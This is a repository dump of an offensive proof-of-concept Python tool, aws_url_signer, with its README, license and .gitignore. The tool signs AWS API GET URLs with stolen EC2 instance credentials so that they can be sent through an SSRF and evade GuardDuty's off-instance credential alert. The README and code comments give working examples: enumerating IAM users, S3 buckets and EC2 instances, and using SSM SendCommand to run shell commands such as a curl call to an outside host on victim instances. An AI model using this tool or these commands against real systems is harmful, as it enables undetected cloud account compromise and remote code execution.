├── .gitignore ├── LICENSE ├── README.md └── aws_url_signer.py /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | wheels/ 23 | share/python-wheels/ 24 | *.egg-info/ 25 | .installed.cfg 26 | *.egg 27 | MANIFEST 28 | 29 | # PyInstaller 30 | # Usually these files are written by a python script from a template 31 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 32 | *.manifest 33 | *.spec 34 | 35 | # Installer logs 36 | pip-log.txt 37 | pip-delete-this-directory.txt 38 | 39 | # Unit test / coverage reports 40 | htmlcov/ 41 | .tox/ 42 | .nox/ 43 | .coverage 44 | .coverage.* 45 | .cache 46 | nosetests.xml 47 | coverage.xml 48 | *.cover 49 | *.py,cover 50 | .hypothesis/ 51 | .pytest_cache/ 52 | cover/ 53 | 54 | # Translations 55 | *.mo 56 | *.pot 57 | 58 | # Django stuff: 59 | *.log 60 | local_settings.py 61 | db.sqlite3 62 | db.sqlite3-journal 63 | 64 | # Flask stuff: 65 | instance/ 66 | .webassets-cache 67 | 68 | # Scrapy stuff: 69 | .scrapy 70 | 71 | # Sphinx documentation 72 | docs/_build/ 73 | 74 | # PyBuilder 75 | .pybuilder/ 76 | target/ 77 | 78 | # Jupyter Notebook 79 | .ipynb_checkpoints 80 | 81 | # IPython 82 | profile_default/ 83 | ipython_config.py 84 | 85 | # pyenv 86 | # For a library or package, you might want to ignore these files since the code is 87 | # intended to run in multiple environments; otherwise, check them in: 88 | # .python-version 89 | 90 | # pipenv 91 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. 92 | # However, in case of collaboration, if having platform-specific dependencies or dependencies 93 | # having no cross-platform support, pipenv may install dependencies that don't work, or not 94 | # install all needed dependencies. 95 | #Pipfile.lock 96 | 97 | # poetry 98 | # Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control. 99 | # This is especially recommended for binary packages to ensure reproducibility, and is more 100 | # commonly ignored for libraries. 101 | # https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control 102 | #poetry.lock 103 | 104 | # pdm 105 | # Similar to Pipfile.lock, it is generally recommended to include pdm.lock in version control. 106 | #pdm.lock 107 | # pdm stores project-wide configurations in .pdm.toml, but it is recommended to not include it 108 | # in version control. 109 | # https://pdm.fming.dev/#use-with-ide 110 | .pdm.toml 111 | 112 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow and github.com/pdm-project/pdm 113 | __pypackages__/ 114 | 115 | # Celery stuff 116 | celerybeat-schedule 117 | celerybeat.pid 118 | 119 | # SageMath parsed files 120 | *.sage.py 121 | 122 | # Environments 123 | .env 124 | .venv 125 | env/ 126 | venv/ 127 | ENV/ 128 | env.bak/ 129 | venv.bak/ 130 | 131 | # Spyder project settings 132 | .spyderproject 133 | .spyproject 134 | 135 | # Rope project settings 136 | .ropeproject 137 | 138 | # mkdocs documentation 139 | /site 140 | 141 | # mypy 142 | .mypy_cache/ 143 | .dmypy.json 144 | dmypy.json 145 | 146 | # Pyre type checker 147 | .pyre/ 148 | 149 | # pytype static type analyzer 150 | .pytype/ 151 | 152 | # Cython debug symbols 153 | cython_debug/ 154 | 155 | # PyCharm 156 | # JetBrains specific template is maintained in a separate JetBrains.gitignore that can 157 | # be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore 158 | # and can be added to the global gitignore or merged into this file. For a more nuclear 159 | # option (not recommended) you can uncomment the following to ignore the entire idea folder. 160 | #.idea/ 161 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | BSD 3-Clause License 2 | 3 | Copyright (c) 2023, Stephen Bradshaw 4 | 5 | Redistribution and use in source and binary forms, with or without 6 | modification, are permitted provided that the following conditions are met: 7 | 8 | 1. Redistributions of source code must retain the above copyright notice, this 9 | list of conditions and the following disclaimer. 10 | 11 | 2. Redistributions in binary form must reproduce the above copyright notice, 12 | this list of conditions and the following disclaimer in the documentation 13 | and/or other materials provided with the distribution. 14 | 15 | 3. Neither the name of the copyright holder nor the names of its 16 | contributors may be used to endorse or promote products derived from 17 | this software without specific prior written permission. 18 | 19 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 20 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 21 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 22 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 23 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 24 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 25 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 26 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 27 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 28 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 29 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # aws_url_signer 2 | 3 | POC tool to create signed AWS API GET requests to bypass Guard Duty alerting of off-instance credential use via SSRF 4 | 5 | # What? 6 | 7 | AWS has a Guard Duty alert to advise when an AWS instance credential is used outside of the instance itself. This will give you as the account owner a heads up when the instance credentials are stolen using a vulnerability like a Server Side Request Forgery (SSRF) from the Metadata URL and then subsequently used from the attackers system. 8 | 9 | This alerting relies on the instance credential being taken off the owning host and then used to make an AWS API query from a machine that is not in the associated AWS account. This is a common circumstance when instance credentials are comprimised via SSRF - attacker gets the instance creds from the metadata service on a vulnerable EC2 host, configures those credentials locally on their own local machine, and then calls the AWS API from there to try and further compromise the associated AWS account. 10 | 11 | Even though its not obviously exposed in the various client libraries (except for S3 signed URLs) however, it is possible to make general requests of the AWS API using HTTP GET requests. This approach enables you to create signed URLs to query the AWS API, send them via the same mechanism by which you compromised the credentials in the first place (e.g. SSRF), and bypass the Guard Duty alerting. This is because AWS API calls made in this way are not being made outside of the AWS account owning the credential - because you make the API call by sending the URL through the SSRF, from the perspective of the API server they are coming from the same EC2 instance that owns that credential. 12 | 13 | There is [another approach](https://github.com/Frichetten/SneakyEndpoints) available to also bypass these alerts, but in comparison this method requires much less infrastructure and setup and can support more services. As a downside however, this approach prevents you from being able to use existing offensive tools that work with compromised credentials, requires a potentially greater understanding of the AWS API, and may be limited by the retrieval capabilities of the SSRF used. 14 | 15 | 16 | # Usage 17 | 18 | This tool is a proof of concept that implements the AWS v4 API signing algorithm for GET URLS. It has very minimal requirements, using `botocore` just to get the list of available services and API versions. 19 | 20 | It has a simple command line interface to run standalone and can also be imported as a module into other Python 3 code to allow it to be more easily used with other exploit code (e.g. SSRF, XXE, etc). 21 | 22 | In the very simplest form, you can set your stolen credentials into the standard environment variables (`AWS_ACCESS_KEY_ID`, `AWS_SECRET_ACCESS_KEY` and `AWS_SESSION_TOKEN`) and call the tool like the following to run the `GetCallerIdentity` action for the `sts` service. 23 | 24 | ``` 25 | ./aws_url_signer.py -environment -service sts -action GetCallerIdentity 26 | ``` 27 | 28 | This will spit out a signed URL, with a 180 second expiry time, that can be sent in your exploit to make the associated API call. The response will tell you about the "caller Identity" of the credential you have. 29 | 30 | You can do more complex stuff by sending parameters to the call as a JSON encoded string. 31 | 32 | The following example uses SSM to generate a URL to remotely execute code against a managed Linux instance `i-xxxxxxxxxxxxxxxxx` in the account. 33 | 34 | ``` 35 | ./aws_url_signer.py -environment -service ssm -action SendCommand -region ap-southeast-2 -parameters '{"InstanceIds": ["i-xxxxxxxxxxxxxxxxx"], "DocumentName": "AWS-RunShellScript", "Parameters": {"commands": ["curl http://test.site/123"]}}' 36 | ``` 37 | 38 | 39 | You can also stick the .py file in your Python path and use it in your code like so. 40 | 41 | ``` 42 | from aws_url_signer import AWSApiUrlGenerator 43 | 44 | api = AWSApiUrlGenerator(access_key, secret_key, session_token) 45 | request_url = api.create_service_url('s3', 'ListBuckets', region='ap-southeast-2') 46 | 47 | ``` 48 | 49 | To a large extent you do need to know the AWS API to be able to use this in a useful way, although I have provided some of the examples I have personally tested below. To some extent you can use it in a similar way to the [AWS cli](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/index.html), but the parameter format will be different in a number of cases, so you can combine it with the general API documentation [here](https://docs.aws.amazon.com/index.html). Find the service you want, and take what would normally be sent in a POST request for a particular API call and supply it JSON encoded to the `parameters` option, and it _SHOULD_ work. 50 | 51 | 52 | # "Legacy" APIs 53 | 54 | Some of the AWS API endpoints such as Route53 and CloudFront are using what I'm referring to as a "legacy" API calling format, which is different from the approach used by a lot of other AWS APIs, and hence results in a different looking URL. 55 | 56 | To explain by example, lets look at the [ListDistributions](https://docs.aws.amazon.com/cloudfront/latest/APIReference/API_ListDistributions.html) action for CloudFront. 57 | 58 | According to the documentation, tt uses a syntax like so. 59 | ``` 60 | GET /2020-05-31/distribution?Marker=Marker&MaxItems=MaxItems HTTP/1.1 61 | ``` 62 | 63 | In this case, the API version `2020-05-31` is included as a path parameter in the URL, instead of a query parameter where it is for most other calls, and the action of `ListDistributions` is no where to be found. Instead there is a path parameter of `distribution` immediately following the version which is serving as the action. 64 | 65 | I have added edge case code for the services Im aware of that use this calling convention into the tool. You can create a signed URL for this particular call like so - using the value of the **path** parameter immediately following the version as your `action`. The API version will be automatically extracted from botocore and filled in by the tool. 66 | 67 | ``` 68 | ./aws_url_signer.py -environment -service cloudfront -action distribution 69 | ``` 70 | 71 | The calling convention here also uses optional query parameters `Marker` and `MaxItems`. The `parameters` command line option of the tool can be used as with the other non legacy calling convention to specify these. 72 | 73 | 74 | For API calls following this approach that use additional **path** parameters **after** the one immediately following the version, I have added a `path-parameters` command line option you can use to provide these. It takes an **ordered** comma seperated list of path parameter values to add to the URL. 75 | 76 | Take [GetDistribution](https://docs.aws.amazon.com/cloudfront/latest/APIReference/API_GetDistribution.html) as an example. It provides the `ID` of the distribution to retrieve as a path parameter immediately following the **"action"** of `distribution`. 77 | 78 | ``` 79 | GET /2020-05-31/distribution/ HTTP/1.1 80 | ``` 81 | 82 | If I wanted to call this using `E1XXXXXXXXXXXX` as the ID value, I would call the tool like so: 83 | 84 | ``` 85 | ./aws_url_signer.py -environment -service cloudfront -action distribution -path-parameters E1XXXXXXXXXXXX 86 | ``` 87 | 88 | As another example, imagine a theoretical API call with action `whatever` with two **ordered** URL **path** parameters `param1` and `param2`. 89 | 90 | ``` 91 | GET /2020-05-31/whatever// HTTP/1.1 92 | ``` 93 | 94 | This would be called like so: 95 | 96 | ``` 97 | ./aws_url_signer.py -environment -service cloudfront -action whatever -path-parameters param1,param2 98 | ``` 99 | 100 | So far Ive only added code for the Route53 and CloudFront services to allow for this "legacy" calling convention, if you find any others that do this that Ive missed then please raise an Issue or PR (services using this convention are in a list in the constructor of the API object). 101 | 102 | 103 | # Warning 104 | 105 | This tool creates a signed https URL that can perform AWS API calls as the compromised user. Standard warnings apply for leaving the URL where others can see it or having it leaked in logs or other intermediate devices. The URLs do timeout after a default period of 180 seconds, so the URLs do have a limited lifetime. 106 | 107 | 108 | # Alpha code 109 | 110 | This should be considered Alpha quality code. 111 | 112 | At the time of writing there are 313 services currently supported in the AWS API - I have only tested a small fraction of them that I personally needed to prove impact of SSRF related vulnerabilities. 113 | 114 | While the AWS v4 API signing process is more or less standard across the various supported services, there are differences in where regional endpoints sit, and the specific nature of the signed payload and signing process for some services. This could mean that some services I have not specifically tested may not work, but I think many probably will. 115 | 116 | The process by which more complex parameter structures are converted into GET compatible versions is also rather unique. It's possible my code to convert parameters from a standard JSON compatible format is wrong or incomplete, and this will only become clear once someone tries to send parameters more complex than the SSM code execution example above. 117 | 118 | Feel free to raise issues or PRs if you find any problems. 119 | 120 | 121 | # Examples 122 | 123 | Here are some examples of running the command line version of the tool. There are some additional commented examples for using the module in code in the source. 124 | ``` 125 | ./aws_url_signer.py -environment -service iam -action ListUsers 126 | ./aws_url_signer.py -environment -service sts -action GetCallerIdentity 127 | ./aws_url_signer.py -region ap-southeast-2 -environment -service ssm -action DescribeInstanceInformation 128 | ./aws_url_signer.py -region ap-southeast-2 -environment -service ec2 -action DescribeInstances -parameters '{"MaxResults": "5"}' 129 | ./aws_url_signer.py -region ap-southeast-2 -environment -service s3 -action ListBuckets 130 | ``` 131 | -------------------------------------------------------------------------------- /aws_url_signer.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import sys 3 | import os 4 | import datetime 5 | import argparse 6 | import hashlib 7 | import hmac 8 | import urllib.parse 9 | import json 10 | import logging 11 | from typing import Union 12 | from logging import Logger 13 | from botocore import loaders # we use boto to get service names and API versions only 14 | 15 | 16 | def check_ipython() -> bool: 17 | '''Returns True if script is running in interactive iPython shell''' 18 | try: 19 | get_ipython() 20 | return True 21 | except NameError: 22 | return False 23 | 24 | 25 | class MyParser(argparse.ArgumentParser): 26 | '''Custom argument parser''' 27 | def error(self, message: str): 28 | sys.stderr.write('error: %s\n' % message) 29 | self.print_help() 30 | sys.exit(2) 31 | 32 | 33 | def create_logger(loglevel: str, name: str) -> Logger: 34 | '''Create a custom logger instance''' 35 | logger = logging.getLogger(name) 36 | logger.setLevel(loglevel) 37 | handler = logging.StreamHandler(sys.stderr) 38 | formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s') 39 | handler.setFormatter(formatter) 40 | logger.addHandler(handler) 41 | 42 | return logger 43 | 44 | 45 | 46 | def parse_export(instring: str) -> str: 47 | '''Helper function to extract instance credential information to export commands from JSON response''' 48 | instr = urllib.parse.unquote(instring) 49 | data = json.loads(instr) 50 | out = 'export AWS_ACCESS_KEY_ID="{}"\n'.format(data['AccessKeyId']) 51 | out+= 'export AWS_SECRET_ACCESS_KEY="{}"\n'.format(data['SecretAccessKey']) 52 | out+= 'export AWS_SESSION_TOKEN="{}"\n'.format(data['Token']) 53 | 54 | return out 55 | 56 | 57 | 58 | # API documentation: https://docs.aws.amazon.com/index.html 59 | 60 | # implements sigv4 61 | # See: http://docs.aws.amazon.com/general/latest/gr/sigv4_signing.html 62 | 63 | class AWSApiUrlGenerator: 64 | 65 | def __init__(self, access_key: str, secret_key: str, session_token: str=None, link_expiry: int=180, logger: Logger=None): 66 | self.access_key = access_key 67 | self.secret_key = secret_key 68 | self.session_token = session_token 69 | self.link_expiry = link_expiry 70 | self.sv = self.get_service_versions() 71 | # some APIs use a "legacy" GET based format for API calls 72 | # list these services here 73 | self.legacy_url_format_services = [ 74 | 'cloudfront', 75 | 'route53' 76 | ] 77 | # services with no regional endpoints here 78 | # https://docs.aws.amazon.com/general/latest/gr/rande.html 79 | self.region_free_services = [ 80 | 'cloudfront', # Amazon CloudFront 81 | 'globalaccelerator', # AWS Global Accelerator 82 | 'iam', # AWS Identity and Access Management (IAM) 83 | 'networkmanager', # AWS Network Manager 84 | 'organizations', # AWS Organizations 85 | 'route53', # Amazon Route 53 86 | 'shield', # AWS Shield Advanced - shield.us-east-1.amazonaws.com 87 | 'waf', # AWS WAF Classic 88 | ] 89 | # put service in non_canonical_token list if the session token is NOT used in signature calculation 90 | self.non_canonical_token_services = [] 91 | self.service_info = {a : {'default_version': self.sv[a], 'canonical_token': a not in self.non_canonical_token_services, 'region_free': a in self.region_free_services} for a in self.sv.keys()} 92 | if logger: 93 | self.logger = logger 94 | else: 95 | self.logger = logging 96 | 97 | 98 | def tci(self, parent_key: str, input: Union[list, dict, str, int]) -> dict: 99 | '''Recursive helper function for type converting parameters''' 100 | out = {} 101 | if isinstance(input, list): 102 | vcounter = 1 103 | for value in input: 104 | pk = '{}.Values.{}'.format(parent_key, vcounter) 105 | result = self.tci(pk, value) 106 | out = {**out, **result} 107 | vcounter += 1 108 | elif isinstance(input, dict): 109 | kcounter = 1 110 | for key in input.keys(): 111 | kn = '{}.Entry.{}'.format(parent_key, kcounter) 112 | out['{}.Name'.format(kn)] = key 113 | result = self.tci('{}.Value'.format(kn), input[key]) 114 | out = {**out, **result} 115 | kcounter += 1 116 | else: 117 | return {parent_key: input} 118 | return out 119 | 120 | 121 | def type_convertor(self, input: dict) -> dict: 122 | '''Convert parameters to GET API friendly format''' 123 | out = {} 124 | for key in input: 125 | result = self.tci(key, input[key]) 126 | out = {**out, **result} 127 | return out 128 | 129 | 130 | def get_service_versions(self) -> dict: 131 | '''Get a dictionary of AWS services and API version values from botocore''' 132 | out = {} 133 | myloader = loaders.Loader() 134 | for service in myloader.list_available_services('service-2'): 135 | out[service] = myloader.determine_latest_version(service, 'service-2') 136 | return out 137 | 138 | 139 | def get_host_for_region(self, service: str, region: str) -> str: 140 | '''Get the API host for the AWS API service based on the selected region''' 141 | if service in self.region_free_services or not region: 142 | return '{}.amazonaws.com'.format(service) 143 | else: 144 | return '{}.{}.amazonaws.com'.format(service, region) 145 | 146 | 147 | 148 | # Key derivation functions. See: 149 | # http://docs.aws.amazon.com/general/latest/gr/signature-v4-examples.html#signature-v4-examples-python 150 | def sign(self, key: bytes, msg: str) -> bytes: 151 | '''HMAC Signing function''' 152 | return hmac.new(key, msg.encode('utf-8'), hashlib.sha256).digest() 153 | 154 | def get_signature_key(self, key: str, dateStamp: str, regionName: str, serviceName: str) -> bytes: 155 | '''Get the URL signing key''' 156 | kDate = self.sign(('AWS4' + key).encode('utf-8'), dateStamp) 157 | kRegion = self.sign(kDate, regionName) 158 | kService = self.sign(kRegion, serviceName) 159 | kSigning = self.sign(kService, 'aws4_request') 160 | return kSigning 161 | 162 | 163 | # When you add the X-Amz-Security-Token parameter to the query string, some services require that you include this parameter in the canonical (signed) request. 164 | # For other services, you add this parameter at the end, after you calculate the signature. For details, see the API reference documentation for that service. 165 | def create_aws_api_url(self, service: str, parameters: dict, host: str, region: str, endpoint: str, canonical_token: bool=True, path_parameters: list=[]) -> str: 166 | '''Create a signed URL for a given API endpoint host''' 167 | t = datetime.datetime.utcnow() 168 | amz_date = t.strftime('%Y%m%dT%H%M%SZ') # Format date as YYYYMMDD'T'HHMMSS'Z' 169 | datestamp = t.strftime('%Y%m%d') # Date w/o time, used in credential scope 170 | algorithm = 'AWS4-HMAC-SHA256' 171 | if not region: 172 | region = 'us-east-1' 173 | credential_scope = datestamp + '/' + region + '/' + service + '/' + 'aws4_request' 174 | params = { 175 | 'X-Amz-Algorithm': algorithm, 176 | 'X-Amz-Credential': urllib.parse.quote_plus(self.access_key + '/' + credential_scope), 177 | 'X-Amz-Date' : amz_date, 178 | 'X-Amz-Expires' : self.link_expiry, 179 | 'X-Amz-SignedHeaders': 'host' 180 | } 181 | 182 | base_url = '/' 183 | 184 | if service in self.legacy_url_format_services: 185 | version = parameters.pop('Version') 186 | action = parameters.pop('Action') 187 | base_url += '{}/{}'.format(version, action) 188 | if path_parameters: 189 | base_url += '/{}'.format('/'.join(path_parameters)) 190 | 191 | if self.session_token and canonical_token: 192 | params['X-Amz-Security-Token'] = urllib.parse.quote_plus(self.session_token) 193 | 194 | modified_parameters = self.type_convertor(parameters) 195 | self.logger.debug('Parsed Url Parameters: {}'.format(json.dumps(modified_parameters))) 196 | enc_params = {urllib.parse.quote(a): urllib.parse.quote(modified_parameters[a], safe='') for a in modified_parameters} 197 | 198 | qp = {**enc_params, **params} 199 | canonical_querystring = '&'.join(['{}={}'.format(a, qp[a]) for a in sorted(qp.keys())]) 200 | 201 | if service != 's3': 202 | payload_hash = hashlib.sha256(('').encode('utf-8')).hexdigest() 203 | else: 204 | payload_hash = 'UNSIGNED-PAYLOAD' # yudodis - s3 special for some reason 205 | 206 | canonical_request = 'GET\n{}\n{}\nhost:{}\n\nhost\n{}'.format(base_url, canonical_querystring, host, payload_hash) 207 | string_to_sign = '\n'.join([algorithm, amz_date, credential_scope, hashlib.sha256(canonical_request.encode('utf-8')).hexdigest()]) 208 | 209 | sep = '==========' 210 | self.logger.debug('Digest: {}\n'.format(hashlib.sha256(canonical_request.encode('utf-8')).hexdigest())) 211 | self.logger.debug('Canonical Request:\n{}\n{}\n{}\n'.format(sep, canonical_request, sep)) 212 | self.logger.debug('String to sign:\n{}\n{}\n{}\n'.format(sep, string_to_sign, sep)) 213 | 214 | signing_key = self.get_signature_key(self.secret_key, datestamp, region, service) 215 | signature = hmac.new(signing_key, (string_to_sign).encode("utf-8"), hashlib.sha256).hexdigest() 216 | canonical_querystring += '&X-Amz-Signature=' + signature 217 | 218 | if self.session_token and not canonical_token: 219 | canonical_querystring += '&X-Amz-Security-Token=' + urllib.parse.quote_plus(self.session_token) 220 | 221 | return endpoint + base_url + "?" + canonical_querystring 222 | 223 | 224 | def create_service_url(self, service: str, action: str, parameters: dict={}, region: str='', version: str=None, canonical_token: bool=None, path_parameters: list=[]) -> str: 225 | '''External interface for creating a signed GET URL for a given API call''' 226 | host = self.get_host_for_region(service, region) 227 | version = version if version else self.service_info[service].get('default_version') if service in self.service_info else None 228 | if not version: 229 | raise Exception('A default version for service type "{}" was not found, please provide a version stamp'.format(service)) 230 | if not isinstance(canonical_token, type(None)): 231 | canonical_token = canonical_token 232 | elif service in self.service_info and 'canonical_token' in self.service_info[service]: 233 | canonical_token = self.service_info[service]['canonical_token'] 234 | default_params = {'Action': action, 'Version': version} 235 | return self.create_aws_api_url(service, {**default_params, **parameters} , host, region, 'https://{}'.format(host), canonical_token=canonical_token, path_parameters=path_parameters) 236 | 237 | 238 | def command_line(): 239 | parser = MyParser() 240 | input_arg_group = parser.add_argument_group('API Operation') 241 | input_arg_group.add_argument('-service', type=str, required=True, help='AWS service for the API call') 242 | input_arg_group.add_argument('-action', type=str, required=True, help='AWS action for the API call') 243 | input_arg_group.add_argument('-region', type=str, default='', help='AWS region for operation') 244 | input_arg_group.add_argument('-parameters', type=str, default='{}', help='AWS parameters for the API call, JSON encoded') 245 | input_arg_group.add_argument('-path-parameters', type=str, default='', help='Ordered list of legacy API "path" parameters, comma separated') 246 | 247 | output_arg_group = parser.add_argument_group('Output') 248 | output_arg_group.add_argument('-link-expiry', type=int, default=180, help='Link expiry time in seconds - default 180') 249 | output_arg_group.add_argument('-loglevel', choices=['DEBUG', 'INFO', 'WARNING', 'ERROR', 'CRITICAL'], default='WARNING', help='Set logging level') 250 | 251 | auth_arg_group = parser.add_argument_group('Authentication') 252 | mgroup_schema = auth_arg_group.add_mutually_exclusive_group() 253 | mgroup_schema.add_argument('-environment', action='store_true', help='Get the credentials from AWS environment variables') 254 | mgroup_schema.add_argument('-access-key', type=str, help='AWS access key ID') 255 | auth_arg_group.add_argument('-secret-key', type=str, help='AWS secret access key') 256 | auth_arg_group.add_argument('-session-token', type=str, help='AWS session token') 257 | 258 | args = parser.parse_args() 259 | 260 | logger = create_logger(args.loglevel, 'AWS URL Signer') 261 | 262 | if args.environment: 263 | access_key = os.environ.get('AWS_ACCESS_KEY_ID') 264 | secret_key = os.environ.get('AWS_SECRET_ACCESS_KEY') 265 | session_token = os.environ.get('AWS_SESSION_TOKEN') 266 | if args.secret_key or args.session_token: 267 | logger.warning('Secret key and session token values provided as parameters ignored due to environment variable setting.') 268 | else: 269 | access_key = args.access_key 270 | secret_key = args.secret_key 271 | session_token = args.session_token 272 | 273 | 274 | if access_key is None or secret_key is None: 275 | print('No access key is configured!\n\n') 276 | parser.print_help() 277 | sys.exit() 278 | 279 | path_parameters = [] 280 | if args.path_parameters: 281 | path_parameters = args.path_parameters.split(',') 282 | 283 | api = AWSApiUrlGenerator(access_key, secret_key, session_token, link_expiry=args.link_expiry, logger=logger) 284 | 285 | service = args.service 286 | if service not in api.sv: 287 | print('Service {} not in supported service list'.format()) 288 | region = args.region 289 | action = args.action 290 | try: 291 | parameters = json.loads(args.parameters) 292 | except Exception as e: 293 | print('There was an error in JSON decoding the parameters provided.\n') 294 | print(e) 295 | sys.exit(1) 296 | 297 | request_url = api.create_service_url(service, action, region=region, parameters=parameters, path_parameters=path_parameters) 298 | 299 | print(request_url) 300 | 301 | 302 | 303 | if __name__ == "__main__": 304 | # execute only if run as a script, helpful if script needs to be debugged 305 | 306 | if not check_ipython(): 307 | command_line() 308 | 309 | 310 | 311 | # Some examples of using the API in Python code 312 | 313 | ## Setup 314 | #from aws_url_signer import AWSApiUrlGenerator 315 | #api = AWSApiUrlGenerator(access_key, secret_key, session_token) 316 | 317 | # Make some API calls 318 | #request_url = api.create_service_url('s3', 'ListBuckets') 319 | #request_url = api.create_service_url('iam', 'ListUsers') 320 | #request_url = api.create_service_url('ec2', 'DescribeRegions') 321 | #request_url = api.create_service_url('ec2', 'DescribeInstances', parameters = {'MaxResults': '2'}, region='ap-southeast-2') 322 | #request_url = api.create_service_url('ec2', 'DescribeInstances', parameters = {'MaxResults': '5'} ) 323 | #request_url = api.create_service_url('sts', 'GetCallerIdentity') 324 | #request_url = api.create_service_url('ssm', 'DescribeInstanceInformation', region='ap-southeast-2') 325 | #request_url = api.create_service_url('ssm', 'ListDocuments', region='ap-southeast-2') 326 | #request_url = api.create_service_url('ssm', 'ListCommands', parameters = {'MaxResults': '5'}, region='ap-southeast-2') 327 | #request_url = api.create_service_url('ssm', 'ListCommands', parameters = {'MaxResults': '5', 'InstanceIds': 'i-xxxxxxxxxxxxxxxxx'}, region='ap-southeast-2') 328 | 329 | #params = {"InstanceIds": ["i-xxxxxxxxxxxxxxxxx"], "DocumentName": "AWS-RunShellScript", "Parameters": {"commands": ["echo 1 > /tmp/123"]}} 330 | #request_url = api.create_service_url('ssm', 'SendCommand', parameters = params, region='ap-southeast-2') --------------------------------------------------------------------------------